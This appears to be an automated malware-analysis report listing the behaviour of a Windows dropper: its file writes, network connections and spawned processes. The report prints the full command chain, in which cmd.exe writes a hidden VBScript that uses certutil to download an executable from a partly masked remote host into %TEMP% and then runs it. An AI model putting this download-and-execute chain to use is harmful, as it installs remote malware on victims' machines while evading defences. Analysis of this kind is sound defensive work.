Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c echo CreateObject("WScript.Shell").Run "cmd.exe /c certutil.exe -urlcache -split -f " + "http://tu###xim.com/html/dixtin.exe" + " " + "%temp%\bin.exe", 0, True > %temp%\script.vbs && echo C...
Modifies file system
Creates the following files
- %TEMP%\script.vbs
- %TEMP%\bin.exe
Deletes the following files
- %TEMP%\script.vbs
Network activity
Connects to
- 'tu###xim.com':80
TCP
HTTP GET requests
- http://tu###xim.com/html/dixtin.exe
UDP
- DNS ASK tu###xim.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\wscript.exe' "%TEMP%\script.vbs"
- '<SYSTEM32>\cmd.exe' /c echo CreateObject("WScript.Shell").Run "cmd.exe /c certutil.exe -urlcache -split -f " + "http://tu###xim.com/html/dixtin.exe" + " " + "%temp%\bin.exe", 0, True > %temp%\script.vbs && echo C...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c certutil.exe -urlcache -split -f http://tu###xim.com/html/dixtin.exe %TEMP%\bin.exe' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c %TEMP%\bin.exe' (with hidden window)
Executes the following
- '<SYSTEM32>\timeout.exe' 3
- '<SYSTEM32>\cmd.exe' /c certutil.exe -urlcache -split -f http://tu###xim.com/html/dixtin.exe %TEMP%\bin.exe
- '<SYSTEM32>\certutil.exe' -urlcache -split -f http://tu###xim.com/html/dixtin.exe %TEMP%\bin.exe
- '<SYSTEM32>\cmd.exe' /c %TEMP%\bin.exe
